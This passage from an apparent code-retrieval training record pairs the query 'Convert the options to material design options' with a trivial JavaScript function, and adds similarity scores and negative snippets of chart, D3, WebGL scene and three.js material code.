'g-axis');\n\t\t\t\tconst $g = $svg.append('g');\n\n\t\t\t\t// offset chart for margins\n\t\t\t\t$g.attr('transform', `translate(${marginLeft}, ${marginTop})`);\n\n\t\t\t\t// create axis\n\t\t\t\txAxisGroup = $axis.append('g')\n\t\t\t\t\t.attr('class', 'x axis')\n\n\t\t\t\tyAxisGroup = $axis.append('g')\n\t\t\t\t\t.attr('class', 'y axis')\n\n\t\t\t\t$fLabel = $g.append('text').attr('class', 'f-label').text('Women')\n\t\t\t\t$mLabel = $g.append('text').attr('class', 'm-label').text('Men')\n\n\t\t\t\t$biggerLabelGroup = $svg.append('g')\n\t\t\t\t$smallerLabelGroup = $svg.append('g')\n\n\t\t\t\t$biggerLabel = $biggerLabelGroup.append('text')\n\t\t\t\t\t\t.text('Bigger median hair')\n\t\t\t\t\t\t.attr('class', 'axis-label bigger-axis-label')\n\n\t\t\t\t$smallerLabel = $smallerLabelGroup.append('text')\n\t\t\t\t\t\t.text('Smaller median hair')\n\t\t\t\t\t\t.attr('class', 'axis-label smaller-axis-label')\n\n\t\t\t\t$upArrow = $biggerLabelGroup.append('svg:image')\n\t\t\t\t\t\t.attr('xlink:href', `assets/images/arrow-up.svg`)\n\t\t\t\t\t\t.attr('width', '20px')\n\t\t\t\t\t\t.attr('height', '20px')\n\n\t\t\t\t$downArrow = $smallerLabelGroup.append('svg:image')\n\t\t\t\t\t\t.attr('xlink:href', `assets/images/arrow-down.svg`)\n\t\t\t\t\t\t.attr('width', '20px')\n\t\t\t\t\t\t.attr('height', '20px')\n\n\t\t\t\t// setup viz group\n\t\t\t\t$vis = $g.append('g').attr('class', 'g-vis');\n\n\t\t\t\tlineGroup = $svg.select('.g-vis')\n\n\t\t\t\tfemaleLine = lineGroup.append('path')\n\t\t\t\t\t.datum(femaleData)\n\t\t\t\t\t.attr('class', 'Female')\n\n\t\t\t\tmaleLine = lineGroup.append('path')\n\t\t\t\t\t.datum(maleData)\n\t\t\t\t\t.attr('class', 'Male')\n\n\t\t\t\tdrawArea = $vis.append('path')\n\t\t\t\t\t.datum(dataByYear)\n\t\t\t\t\t.attr('class', 'area')\n\n\t\t\t\tChart.resize();\n\t\t\t\tChart.render();\n\t\t\t}", "init() {\n // Add label\n $sel.append('text')\n .text(d => `${d.key}`)\n\n const container = $sel.append('div.container')\n\n // Add svg for front pockets\n\t\t\t\t$svgFront = container.append('svg.area-front');\n\t\t\t\tconst $gFront = $svgFront.append('g');\n\n\t\t\t\t// setup viz group\n\t\t\t\t$visFront = $gFront.append('g.g-vis');\n\n // Add svg for back pockets\n $svgBack = container.append('svg.area-back');\n const $gBack = $svgBack.append('g');\n\n // setup viz group\n $visBack = $gBack.append('g.g-vis');\n\n\t\t\t\tChart.resize();\n\t\t\t\tChart.render();\n\t\t\t}", "createAxes () {\n }", "connectedCallback(){\n this._root = this.attachShadow({mode: 'open'});\n\n let sheet = utils.CSSToStyleSheet('./css/02-organisms/chart-module.css');\n this.adoptedStyleSheets = [sheet];\n this._root.adoptedStyleSheets = [sheet];\n\n let header = document.createElement(\"chart-header\");\n this.chartItem = document.createElement(\"chart-item\");\n this._root.appendChild(header);\n this._root.appendChild(this.chartItem);\n \n this.request = new XMLHttpRequest();\n this.covidData = {};\n covidTrack.connectToCovidTracking(this.onCovidDataLoad.bind(this), this.request);\n\n this._root.addEventListener(\"remove-chart-click\", e => this.onRemoveChart(e));\n this._root.addEventListener(\"menu-form-submit\", e => this.onMenuFormSubmit(e));\n }", "function initChart() {\n if (!showChart) {\n return\n }\n\n addTimelineChart(ee.Geometry(Map.getCenter(true)).centroid(10));\n\n Map.onClick(function (coords) {\n coords = ee.Dictionary(coords);\n print('Map clicked: ', coords);\n let newCenter = ee.Geometry.Point([coords.get('lon'), coords.get('lat')]);\n addTimelineChart(newCenter)\n })\n }", "function updateChart() {\n removePreviousChart();\n emptyChartData(chart);\n filterCategoryInsertion();\n displayChart(chart);\n}", "onGraphLoaded() {\n this.initViews();\n this.camera = this.views[this.graph.defaultView];\n this.interface.setActiveCamera(this.camera);\n\n this.axis = new CGFaxis(this, this.graph.axisLength);\n\n this.setGlobalAmbientLight(this.graph.ambientIllumination[0], this.graph.ambientIllumination[1], \n this.graph.ambientIllumination[2], this.graph.ambientIllumination[3]);\n this.gl.clearColor(this.graph.backgroundColor[0], this.graph.backgroundColor[1], this.graph.backgroundColor[2], this.graph.backgroundColor[3]);\n\n this.initLights();\n \n // Adds lights group.\n this.interface.addLightsGroup(this.graph.lights);\n\n // Adds Views\n this.currentView = this.graph.defaultView;\n this.interface.addViews(this);\n\n // Adds Ambients\n this.currentAmbient = this.graph.rootComponent.children.componentref[0].id;\n this.interface.addAmbients(this);\n\n // Add Camera Near\n this.cameraNear = this.camera.near;\n this.interface.addNear(this);\n \n // Add Pente Options to interface\n this.interface.addPenteGroup(this);\n\n this.sceneInited = true;\n }", "function resizeChart () {\n console.log('D3collisiondetectionController.resizeChart()');\n draw();\n }", "constructor(props){\n\t\tsuper(props)\n\t\tthis.createGraphChart = this.createGraphChart.bind(this)\n\t}", "function SizeChart() {\n\t\t// #### Chart Area ####\n\t\tme.g_chartArea.minX = 23;\n\t\tme.g_chartArea.minY = 23;\n\t\tme.g_chartArea.maxX = 54;\n\t\tme.g_chartArea.maxY = 54;\n\n\t\t// #### XAxis ####\n\t\tif (me.g_xAxis != null) {\n\t\t\tme.g_xAxis.minX = 20;\n\t\t\tme.g_xAxis.minY = 80;\n\t\t\tme.g_xAxis.maxX = 60;\n\t\t\tme.g_xAxis.maxY = 20;\n\t\t} else {\n\t\t\tme.g_chartArea.maxY += 20;\n\t\t}\n\n\t\t// #### YAxis ####\n\t\tif (me.g_yAxis != null) {\n\t\t\tme.g_yAxis.minX = 0;\n\t\t\tme.g_yAxis.minY = 20;\n\t\t\tme.g_yAxis.maxX = 20;\n\t\t\tme.g_yAxis.maxY = 60;\n\t\t\tif (me.g_xAxis == null) {\n\t\t\t\tme.g_yAxis.maxY += 20;\n\t\t\t}\n\t\t} else {\n\t\t\tif (me.g_xAxis != null) {\n\t\t\t\tme.g_xAxis.minX -= 20;\n\t\t\t\tme.g_xAxis.maxX += 20;\n\t\t\t}\n\t\t\tme.g_chartArea.minX -= 20;\n\t\t\tme.g_chartArea.maxX += 20;\n\t\t}\n\n\t\t// #### Legend ####\n\t\tif (me.g_legend != undefined) {\n\t\t\t// Dimentions\n\t\t\tme.g_legend.minX = 80;\n\t\t\tme.g_legend.minY = 20;\n\t\t\tme.g_legend.maxX = 20;\n\t\t\tme.g_legend.maxY = 80;\n\t\t} else {\n\t\t\tif (me.g_xAxis != null) me.g_xAxis.maxX += 20;\n\t\t\tme.g_chartArea.maxX += 20;\n\t\t}\n\n\t\tif (me.g_title == null) {\n\t\t\tif (me.g_legend != undefined) {\n\t\t\t\tme.g_legend.minY -= 20;\n\t\t\t\tme.g_legend.maxY += 20;\n\t\t\t}\n\t\t\tif (me.g_yAxis != null) {\n\t\t\t\tme.g_yAxis.minY -= 20;\n\t\t\t\tme.g_yAxis.maxY += 20;\n\t\t\t}\n\t\t\tme.g_chartArea.minY -= 20;\n\t\t\tme.g_chartArea.maxY += 20;\n\t\t}\n\t}", "update() {\n super.update();\n if (!this.curve) {\n this.curve = d3_shape__WEBPACK_IMPORTED_MODULE_4__[\"curveBundle\"].beta(1);\n }\n this.zone.run(() => {\n this.dims = Object(_swimlane_ngx_charts__WEBPACK_IMPORTED_MODULE_2__[\"calculateViewDimensions\"])({\n width: this.width,\n height: this.height,\n margins: this.margin,\n showLegend: this.legend\n });\n this.seriesDomain = this.getSeriesDomain();\n this.setColors();\n this.legendOptions = this.getLegendOptions();\n this.createGraph();\n this.updateTransform();\n this.initialized = true;\n });\n }", "buildChart() {\n\t\tif (this.chart)\n\t\t\tthis.chart.destroy();\n\n\t\tconst config = {\n\t\t\tx0: this.vars.x0.val,\n\t\t\ty0: this.vars.y0.val,\n\t\t\tX: this.vars.X.val,\n\t\t\tN: this.vars.N.val,\n\t\t\th: (this.vars.X.val - this.vars.x0.val) / this.vars.N.val,\n\t\t};\n\n\t\tconst euler = new Euler(this.funcs.derivative.bind(this.funcs), config);\n\t\tconst improvedEuler = new ImprovedEuler(this.funcs.derivative.bind(this.funcs), config);\n\t\tconst rungeKutta = new RungeKutta(this.funcs.derivative.bind(this.funcs), config);\n\n\t\tthis.domain = Array.from({ length: config.N },\n\t\t\t(_, i) => (i * config.h + config.x0));\n\t\tconst xLabels = this.domain.map(x => x.toFixed(5));\n\n\t\tthis.eulerData = euler();\n\t\tthis.improvedEulerData = improvedEuler();\n\t\tthis.rungeKuttaData = rungeKutta();\n\t\tthis.exactData = this.domain.map(x => ({ x, y: this.funcs.exact(x) }));\n\n\t\teventManager.dispatchEvent(new CustomEvent('approximationsUpdated', {\n\t\t\tdetail: { ...this.getData(), config, },\n\t\t}));\n\n\t\tthis.chart = new Chart(this.ctx, {\n\t\t\ttype: 'line',\n\t\t\toptions: {\n\t\t\t\ttitle: {\n\t\t\t\t\ttext: 'Solution vs approximations',\n\t\t\t\t\tdisplay: true,\n\t\t\t\t},\n\t\t\t\tscales: {\n\t\t\t\t\txAxes: [{\n\t\t\t\t\t\tscaleLabel: {\n\t\t\t\t\t\t\tdisplay: true,\n\t\t\t\t\t\t\tlabelString: 'x',\n\t\t\t\t\t\t},\n\t\t\t\t\t}],\n\t\t\t\t\tyAxes: [{\n\t\t\t\t\t\tscaleLabel: {\n\t\t\t\t\t\t\tdisplay: true,\n\t\t\t\t\t\t\tlabelString: 'f(x)',\n\t\t\t\t\t\t},\n\t\t\t\t\t}],\n\t\t\t\t},\n\t\t\t},\n\t\t\tdata: {\n\t\t\t\tlabels: xLabels,\n\t\t\t\tdatasets: [\n\t\t\t\t\t{ data: this.eulerData, label: 'Euler', borderColor: 'aqua', },\n\t\t\t\t\t{ data: this.improvedEulerData, label: 'Improved-Euler', borderColor: 'lime' },\n\t\t\t\t\t{ data: this.rungeKuttaData, label: 'Runge-Kutta', borderColor: 'brown' },\n\t\t\t\t\t{ data: this.exactData, label: 'Exact', borderColor: 'black' },\n\t\t\t\t],\n\t\t\t},\n\t\t});\n\t}", "init() {\n $svg = $chart\n .select(\".figure__chart\")\n .append(\"svg\")\n .attr(\"class\", \"pudding-chart\");\n\n // create axis\n $axis = $svg.append(\"g\").attr(\"class\", \"g-axis\");\n\n // setup viz group\n $vis = $svg.append(\"g\").attr(\"class\", \"g-vis\");\n\n $vis.append(\"g\").attr(\"class\", \"arc\");\n $vis.append(\"g\").attr(\"class\", \"hist\");\n\n const extentX = d3.extent(data, d => d.distance);\n scaleArcX.domain(extentX).nice();\n scaleArcY.domain(extentX).nice();\n\n const binX = d3.range(0, scaleArcX.domain()[1], binSize);\n scaleHistX.domain(binX);\n }", "updateChart() {\n let xLabel = this.getChartX();\n let yLabel = this.getChartY();\n let t = this.getChartTargetArray();\n this.setChartData(this.json[xLabel], this.json[yLabel], t, xLabel, yLabel, this.getModel());\n }", "init() {\n\n\t\t\t\t$svg = $svgContainer.append('svg').at('class', d => `word-cloud__chart ${d.key}`)\n\t\t\t\t$wordcloud = $svg.append(\"g\").at('class', d => `word-cloud ${d.key}`)\n\n\t\t\t\tconst $g = $svg.append('g');\n\n\t\t\t\t// offset chart for margins\n\t\t\t\t$g.at('transform', `translate(${marginLeft}, ${marginTop})`);\n\n\t\t\t\t// create axis\n\t\t\t\t$axis = $svg.append('g.g-axis');\n\n\t\t\t\tChart.resize();\n\n\t\t\t\tconst initWord = d3.selectAll(`[data-attribute=\"boer\"]`)\n\t\t\t\tinitWord.classed('clickedWord', true)\n\n\t\t\t\tChart.render();\n\t\t\t}", "function updateChart() {\n var chartData, types = ['string', 'number', 'number'];\n\n chartData = computeChartData();\n\n vm.chartConfig = {\n type: \"BarChart\",\n displayed: true,\n data: Utils.arrayToDataTable(chartData, types),\n options: {\n legend: {\n position: 'bottom'\n },\n chartArea: {\n top: 20,\n bottom: 0\n },\n hAxis: {\n minValue: 0,\n format: 'decimal'\n },\n colors: ['red', 'green']\n }\n };\n }", "function optionChanged(sample) {\n createChart(sample);\n createMetaData(sample);\n // createGauge(sample)\n}", "function SVGPieChart() {\r\n }", "configureStartingData() {\n // We don't use a singleton because defaults could change between calls.\n new DrawingDefaultsConfig(this, this._last_tool).render(true);\n }", "function inital(){\n\n // Object to store all info for yearChart in one place\n $scope.yearChart = {};\n\n // week graph options\n $scope.yearChart.chartConfig = {\n options: {\n chart: {\n type: 'column'\n }\n },\n xAxis: {\n type: 'category',\n title : {\n text: ''\n }\n },\n legend: {\n enabled: false\n },\n yAxis: {\n title : {\n text: 'Hours'\n },\n\n // Min y-value of 0 so no negative range (can't have -time)\n min: 0\n },\n series: [{\n data: []\n }],\n title: {\n text: ''\n },\n\n // Loading true as we don't have data yet\n loading: true\n }\n\n }", "function configureCharts(){\n $engine.loadJSON(CHART_CONFIG).done(function(_conf){\n var _graphObj = _conf.app.graphs;\n options = _graphObj;\n getDashboardData();\n })\n .fail(function(jqxhr, textStatus, error){\n $engine.log(\"CFLAPP > Error loading chart config: \"+textStatus);\n });\n }", "onGraphLoaded() {\n\n this.sceneInited = false;\n \n //console.log(this.graph.ambient);\n this.axis = new CGFaxis(this, this.graph.referenceLength);\n\n this.gl.clearColor(this.graph.background.r, this.graph.background.g, this.graph.background.b, this.graph.background.a);\n\n this.setGlobalAmbientLight(this.graph.ambient.r, this.graph.ambient.g, this.graph.ambient.b, this.graph.ambient.a);\n \n this.interface.loadInterface();\n this.initViews();\n this.initLights();\n this.initMaterials();\n this.initTextures(this.graph);\n this.initTransformations();\n this.initAnimations();\n\n //add axis checkbox to interface=>createInterface\n this.interface.axisCheckBox();\n\n //construct the graph before start displaying\n this.graph.constructGraph();\n this.graph.createCustomPieces();\n\n if (!this.menuMode) {\n CameraHandler.swapToCurrentCamera();\n CameraHandler.moveToCurrentPosition();\n }\n\n // Start or \"resume\" scene displaying\n\n this.sceneInited = true;\n }", "function init() {\n // Load and style highCharts library. https://www.highCharts.com/docs.\n highchartsExport( Highcharts );\n applyThemeTo( Highcharts );\n\n _containerDom = document.querySelector( '#chart-section' );\n _resultAlertDom = _containerDom.querySelector( '#chart-result-alert' );\n _failAlertDom = _containerDom.querySelector( '#chart-fail-alert' );\n _chartDom = _containerDom.querySelector( '#chart' );\n _dataLoadedDom = _containerDom.querySelector( '.data-enabled' );\n\n startLoading();\n }", "function chart() {\n\n var _data = _models.epos.dims.dummy.top(Infinity);\n \n function render() {\n chtBasic = new CHART.EposBasic(_uid + '-charts-basic', _data);\n }\n \n function update() {\n chtBasic.reload(_data);\n }\n \n return { render : render, update : update };\n }", "componentDidMount() {\n this.createChart(this.props);\n }", "_setChartTheme() {}", "function optionChanged(a) {\n CreateBarChart(a);\n CreateBubbleChart(a);\n DisplaySampleMetaData(a);\n CreateGaugeChart(a);\n}", "function constructChart() {\n var data = chartData = new google.visualization.DataTable();\n\n data.addColumn('datetime', 'time');\n data.addColumn('number', 'consumption');\n data.addColumn('number', 'prediction');\n // to make prediction always dotted\n data.addColumn({type:'boolean',role:'certainty'});\n\n chartOptions = {\n title: 'Consumption predictions',\n height: 600,\n theme: 'maximized',\n pointSize: 3,\n series: [{\n color: 'blue'\n }, {\n color: 'grey',\n lineWidth: 1\n }]\n };\n\n chart = new google.visualization.LineChart(document.getElementById('prediction-chart'));\n\n scrollTo(6, ' .chart');\n\n }", "function loaded(){\n graph([]);\n pieChart([],[],[],[]);\n}", "function handleChartReady(evt) {\n\tconst {node, params} = evt.detail;\n\tconst stx=node.stx;\n\tconst context=node.context;\n\n\tstx.preferences.horizontalCrosshairField = 'Close';\n\tstx.preferences.currentPriceLine = false;\n\tstx.layout.crosshair = false;\n\tstx.cleanupGaps = \"carry\";\n\tstx.bypassRightClick = true;\n\tstx.displayIconsClose = false;\n\t\n\tif (!node.getAttribute('x-axis') ){\n\t\tstx.xaxisHeight = 0;\n\t\t// Enabling xAxis.noDraw also prevents vertical grid lines which causes visual inconsistency between bottom charts and the rest.\n\t\t//stx.chart.xAxis.noDraw = true;\n\t\tif(stx.controls.floatDate) stx.controls.floatDate.style.opacity=0;\n\t}\n\n\tchartLinker.add(params.initialSymbol, stx, context, node.id);\n\t\n\t// Start up the global UI when chart0 is ready\n\tif(node.id === 'chart0'){\n\t\tstartUI(stx);\n\t}\n}", "render() {\n\t\t\t\treturn Chart;\n\t\t\t}", "render() {\n\t\t\t\treturn Chart;\n\t\t\t}" ]
[ "0.69517124", "0.66999865", "0.66061825", "0.66061825", "0.6412611", "0.64040285", "0.63842636", "0.63662857", "0.63621545", "0.63259673", "0.6193998", "0.61864537", "0.6173293", "0.6168371", "0.6113887", "0.60974175", "0.6094302", "0.60360515", "0.6029689", "0.60280997", "0.60029596", "0.5950735", "0.5948158", "0.5940137", "0.59368086", "0.5932725", "0.5926246", "0.58824444", "0.5882062", "0.5875219", "0.58705086", "0.58705086", "0.5853646", "0.5835485", "0.58325666", "0.58295846", "0.5784359", "0.5783704", "0.5779659", "0.57770485", "0.57699114", "0.57555485", "0.57552296", "0.5754861", "0.57526535", "0.5743807", "0.5743477", "0.5734659", "0.57344395", "0.57344395", "0.5732082", "0.5726191", "0.5726191", "0.57157344", "0.57073", "0.57042074", "0.57030743", "0.5700418", "0.5692676", "0.5688277", "0.56859696", "0.5678208", "0.56743425", "0.5670478", "0.5658366", "0.5650233", "0.5643095", "0.56417793", "0.563006", "0.562761", "0.56244534", "0.5616912", "0.5616098", "0.5611413", "0.5597817", "0.5597011", "0.5594596", "0.5582098", "0.5580667", "0.5578496", "0.55779994", "0.5574968", "0.5569192", "0.55622685", "0.55617744", "0.55566585", "0.5540222", "0.5534959", "0.55332834", "0.5532603", "0.5526387", "0.55252844", "0.5522976", "0.55220824", "0.5516066", "0.5509804", "0.55080074", "0.5504103", "0.55017245", "0.55017245" ]
0.66666424
2
Convert the options to material design options. This method is only called if the `material` property is true.
convertOptions (opts) { return opts; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function setMaterialPropertiesToDefaults() {\n // shadeless\n setDefaults(dynamicData[STRING_MATERIAL].shadeless, defaultMaterialProperties.shadeless);\n // pbr\n setDefaults(dynamicData[STRING_MATERIAL].pbr, defaultMaterialProperties.pbr);\n }", "setMaterial(material) {\r\n\r\n\r\n\r\n\t}", "material() {\r\n // Materials here are minimal, without any settings.\r\n return {shader: this}\r\n }", "material() {\r\n // Materials here are minimal, without any settings.\r\n return {shader: this}\r\n }", "function applyNamedMaterial(materialName) {\n // Set the selected material in UI\n dynamicData[STRING_MATERIAL].selectedMaterial = materialName;\n\n switch (materialName){\n case CONFIG.STRING_DEFAULT:\n setMaterialPropertiesToDefaults();\n dynamicData[STRING_MATERIAL].selectedTypeIndex = 0; // \"Select one\"\n deleteJacketMaterial();\n break;\n case CONFIG.STRING_GLASS:\n // updateMaterial materialName, isNamed, isPBR\n updateMaterial(MATERIAL_DATA.glass, true, true);\n break;\n case CONFIG.STRING_CHAINMAIL:\n updateMaterial(MATERIAL_DATA.chainmail, true, true);\n break;\n case CONFIG.STRING_DISCO:\n updateMaterial(MATERIAL_DATA.disco, true, true);\n break;\n case CONFIG.STRING_RED:\n updateMaterial(MATERIAL_DATA.red, true, false);\n break;\n case CONFIG.STRING_TEXTURE:\n updateMaterial(MATERIAL_DATA.texture, true, false);\n break;\n }\n }", "static GetDefaultCanvasMaterial() {}", "static GetETC1SupportedCanvasMaterial() {}", "_applyMaterialVariant(variant, instances) {\n instances.forEach((instance) => {\n if (variant === null) {\n instance.material = this._defaultMaterial;\n } else {\n const meshVariants = this.data.meshVariants[instance.mesh.id];\n if (meshVariants) {\n instance.material = this.data.materials[meshVariants[variant]];\n }\n }\n Debug.assert(instance.material);\n });\n }", "function Material() {}", "disposeAllMaterialProperties(material) {\n if (material) {\n //in case of map, bumpMap, normalMap, envMap ...\n Object.keys(material).forEach(prop => {\n if (!material[prop])\n return;\n if (material[prop] !== null && typeof material[prop].dispose === 'function')\n material[prop].dispose();\n });\n material.dispose();\n }\n }", "initMaterials() {\n this.materials = new Map(); // Map that stores scene materials by ID\n this.materialStack = []; // Stack used to apply the materials when traversing graph for display\n this.materialStack.push(this.defaultAppearance);\n\n for (let [id, material] of this.graph.materials) {\n var mat = new CGFappearance(this);\n mat.setAmbient(...Object.values(material.ambient));\n mat.setDiffuse(...Object.values(material.diffuse));\n mat.setSpecular(...Object.values(material.specular));\n mat.setEmission(...Object.values(material.emissive));\n mat.setShininess(material.shininess);\n mat.setTextureWrap('REPEAT', 'REPEAT');\n this.materials.set(id, mat);\n }\n }", "recolorMaterials(mtlCreator, featureId) {\n const blackColor = [0,0,0];\n const brickColor = Colors.chooseRandom(\"brick\", featureId);\n const concreteColor = Colors.chooseRandom(\"concrete\", featureId);\n\n const stoneColor = Colors.chooseRandom(\"stone\", featureId);\n\n const buildingColor = Colors.chooseRandom(\"brickcrete\", featureId);\n const windowTreatmentColor = Colors.chooseRandom(\"concrete\", featureId + \"windowTreatment\");\n const roofCorniceColor = Colors.chooseRandom(\"concrete\", featureId + \"roofCornice\");\n const stairColor = Colors.chooseRandom(\"stone\", featureId);\n const doorColor = blackColor;\n const storeFrontColor = Colors.chooseRandom(\"concrete\", featureId + \"storeFront\");\n const roofColor = Colors.chooseRandom(\"roof\", featureId + \"roof\");\n const windowCasingFrameColor = Colors.brighten(storeFrontColor, 0.3);\n\n Object.keys(mtlCreator.materialsInfo).forEach(mtlName => {\n if (mtlName.startsWith(\"front\") || mtlName.startsWith(\"default\")) {\n mtlCreator.materialsInfo[mtlName].ka = buildingColor;\n mtlCreator.materialsInfo[mtlName].kd = buildingColor;\n mtlCreator.materialsInfo[mtlName].ks = buildingColor;\n } else if (mtlName.startsWith(\"cornice\")) {\n mtlCreator.materialsInfo[mtlName].ka = windowTreatmentColor;\n mtlCreator.materialsInfo[mtlName].kd = windowTreatmentColor;\n mtlCreator.materialsInfo[mtlName].ks = blackColor;\n mtlCreator.materialsInfo[mtlName].ns = 0;\n } else if (mtlName.startsWith(\"sill\")) {\n mtlCreator.materialsInfo[mtlName].ka = windowTreatmentColor;\n mtlCreator.materialsInfo[mtlName].kd = windowTreatmentColor;\n mtlCreator.materialsInfo[mtlName].ks = blackColor;\n mtlCreator.materialsInfo[mtlName].ns = 0;\n } else if (mtlName.startsWith(\"roofcornice\")) {\n mtlCreator.materialsInfo[mtlName].ka = roofCorniceColor;\n mtlCreator.materialsInfo[mtlName].kd = roofCorniceColor;\n mtlCreator.materialsInfo[mtlName].ks = roofCorniceColor;\n mtlCreator.materialsInfo[mtlName].ns = 0;\n } else if (mtlName.startsWith(\"stair\")) {\n mtlCreator.materialsInfo[mtlName].ka = stairColor;\n mtlCreator.materialsInfo[mtlName].kd = stairColor;\n mtlCreator.materialsInfo[mtlName].ks = [0.2, 0.2, 0.2];\n mtlCreator.materialsInfo[mtlName].ns = 0;\n } else if (mtlName.startsWith(\"doorcasing\")) {\n mtlCreator.materialsInfo[mtlName].ka = buildingColor;\n mtlCreator.materialsInfo[mtlName].kd = buildingColor;\n } else if (mtlName.startsWith(\"door\")) {\n mtlCreator.materialsInfo[mtlName].ka = doorColor;\n mtlCreator.materialsInfo[mtlName].kd = doorColor;\n } else if (mtlName.startsWith(\"roof\")) {\n mtlCreator.materialsInfo[mtlName].ka = roofColor;\n mtlCreator.materialsInfo[mtlName].kd = roofColor;\n mtlCreator.materialsInfo[mtlName].ks = roofColor;\n mtlCreator.materialsInfo[mtlName].ns = 5;\n } else if (mtlName.startsWith(\"storefront\")) {\n mtlCreator.materialsInfo[mtlName].ka = storeFrontColor;\n mtlCreator.materialsInfo[mtlName].kd = storeFrontColor;\n } else if (mtlName.match(/^window\\d+$/)) {\n mtlCreator.materialsInfo[mtlName].ka = [0.1, 0.1, 0.1];\n mtlCreator.materialsInfo[mtlName].kd = [0.1, 0.1, 0.1];\n mtlCreator.materialsInfo[mtlName].ks = [0.3, 0.3, 0.3];\n mtlCreator.materialsInfo[mtlName].ns = 10;\n mtlCreator.materialsInfo[mtlName].d = 0.85;\n } else if (mtlName.startsWith(\"window\")) { // windowcasing, windowframe\n mtlCreator.materialsInfo[mtlName].ka = windowCasingFrameColor;\n mtlCreator.materialsInfo[mtlName].kd = windowCasingFrameColor;\n }\n });\n }", "function processMaterial( m ) {\n\n\t\t\tvar matid = materialMap.get( m );\n\n\t\t\tif ( matid == null ) {\n\n\t\t\t\tmatid = \"Mat\" + (libraryEffects.length + 1);\n\n\t\t\t\tvar type = 'phong';\n\n\t\t\t\tif ( m instanceof MeshLambertMaterial ) {\n\n\t\t\t\t\ttype = 'lambert';\n\n\t\t\t\t} else if ( m instanceof MeshBasicMaterial ) {\n\n\t\t\t\t\ttype = 'constant';\n\n\t\t\t\t\tif ( m.map !== null ) {\n\n\t\t\t\t\t\t// The Collada spec does not support diffuse texture maps with the\n\t\t\t\t\t\t// constant shader type.\n\t\t\t\t\t\t// mrdoob/three.js#15469\n\t\t\t\t\t\tconsole.warn( 'ColladaExporter: Texture maps not supported with MeshBasicMaterial.' );\n\n\t\t\t\t\t}\n\n\t\t\t\t}\n\n\t\t\t\tvar emissive = m.emissive ? m.emissive : new Color( 0, 0, 0 );\n\t\t\t\tvar diffuse = m.color ? m.color : new Color( 0, 0, 0 );\n\t\t\t\tvar specular = m.specular ? m.specular : new Color( 1, 1, 1 );\n\t\t\t\tvar shininess = m.shininess || 0;\n\t\t\t\tvar reflectivity = m.reflectivity || 0;\n\n\t\t\t\t// Do not export and alpha map for the reasons mentioned in issue (#13792)\n\t\t\t\t// in js alpha maps are black and white, but collada expects the alpha\n\t\t\t\t// channel to specify the transparency\n\t\t\t\tvar transparencyNode = '';\n\t\t\t\tif ( m.transparent === true ) {\n\n\t\t\t\t\ttransparencyNode +=\n\t\t\t\t\t\t\"<transparent>\" +\n\t\t\t\t\t\t(\n\t\t\t\t\t\t\tm.map ?\n\t\t\t\t\t\t\t\t\"<texture texture=\\\"diffuse-sampler\\\"></texture>\" :\n\t\t\t\t\t\t\t\t'<float>1</float>'\n\t\t\t\t\t\t) +\n\t\t\t\t\t\t'</transparent>';\n\n\t\t\t\t\tif ( m.opacity < 1 ) {\n\n\t\t\t\t\t\ttransparencyNode += \"<transparency><float>\" + (m.opacity) + \"</float></transparency>\";\n\n\t\t\t\t\t}\n\n\t\t\t\t}\n\n\t\t\t\tvar techniqueNode = \"<technique sid=\\\"common\\\"><\" + type + \">\" +\n\n\t\t\t\t\t'<emission>' +\n\n\t\t\t\t\t(\n\t\t\t\t\t\tm.emissiveMap ?\n\t\t\t\t\t\t\t'<texture texture=\"emissive-sampler\" texcoord=\"TEXCOORD\" />' :\n\t\t\t\t\t\t\t(\"<color sid=\\\"emission\\\">\" + (emissive.r) + \" \" + (emissive.g) + \" \" + (emissive.b) + \" 1</color>\")\n\t\t\t\t\t) +\n\n\t\t\t\t\t'</emission>' +\n\n\t\t\t\t\t(\n\t\t\t\t\t\ttype !== 'constant' ?\n\t\t\t\t\t\t\t'<diffuse>' +\n\n\t\t\t\t\t\t(\n\t\t\t\t\t\t\tm.map ?\n\t\t\t\t\t\t\t\t'<texture texture=\"diffuse-sampler\" texcoord=\"TEXCOORD\" />' :\n\t\t\t\t\t\t\t\t(\"<color sid=\\\"diffuse\\\">\" + (diffuse.r) + \" \" + (diffuse.g) + \" \" + (diffuse.b) + \" 1</color>\")\n\t\t\t\t\t\t) +\n\t\t\t\t\t\t'</diffuse>'\n\t\t\t\t\t\t\t: ''\n\t\t\t\t\t) +\n\n\t\t\t\t\t(\n\t\t\t\t\t\ttype === 'phong' ?\n\t\t\t\t\t\t\t\"<specular><color sid=\\\"specular\\\">\" + (specular.r) + \" \" + (specular.g) + \" \" + (specular.b) + \" 1</color></specular>\" +\n\n\t\t\t\t\t\t'<shininess>' +\n\n\t\t\t\t\t\t(\n\t\t\t\t\t\t\tm.specularMap ?\n\t\t\t\t\t\t\t\t'<texture texture=\"specular-sampler\" texcoord=\"TEXCOORD\" />' :\n\t\t\t\t\t\t\t\t(\"<float sid=\\\"shininess\\\">\" + shininess + \"</float>\")\n\t\t\t\t\t\t) +\n\n\t\t\t\t\t\t'</shininess>'\n\t\t\t\t\t\t\t: ''\n\t\t\t\t\t) +\n\n\t\t\t\t\t\"<reflective><color>\" + (diffuse.r) + \" \" + (diffuse.g) + \" \" + (diffuse.b) + \" 1</color></reflective>\" +\n\n\t\t\t\t\t\"<reflectivity><float>\" + reflectivity + \"</float></reflectivity>\" +\n\n\t\t\t\t\ttransparencyNode +\n\n\t\t\t\t\t\"</\" + type + \"></technique>\";\n\n\t\t\t\tvar effectnode =\n\t\t\t\t\t\"<effect id=\\\"\" + matid + \"-effect\\\">\" +\n\t\t\t\t\t'<profile_COMMON>' +\n\n\t\t\t\t\t(\n\t\t\t\t\t\tm.map ?\n\t\t\t\t\t\t\t'<newparam sid=\"diffuse-surface\"><surface type=\"2D\">' +\n\t\t\t\t\t\t\t\"<init_from>\" + (processTexture( m.map )) + \"</init_from>\" +\n\t\t\t\t\t\t\t'</surface></newparam>' +\n\t\t\t\t\t\t\t'<newparam sid=\"diffuse-sampler\"><sampler2D><source>diffuse-surface</source></sampler2D></newparam>' :\n\t\t\t\t\t\t\t''\n\t\t\t\t\t) +\n\n\t\t\t\t\t(\n\t\t\t\t\t\tm.specularMap ?\n\t\t\t\t\t\t\t'<newparam sid=\"specular-surface\"><surface type=\"2D\">' +\n\t\t\t\t\t\t\t\"<init_from>\" + (processTexture( m.specularMap )) + \"</init_from>\" +\n\t\t\t\t\t\t\t'</surface></newparam>' +\n\t\t\t\t\t\t\t'<newparam 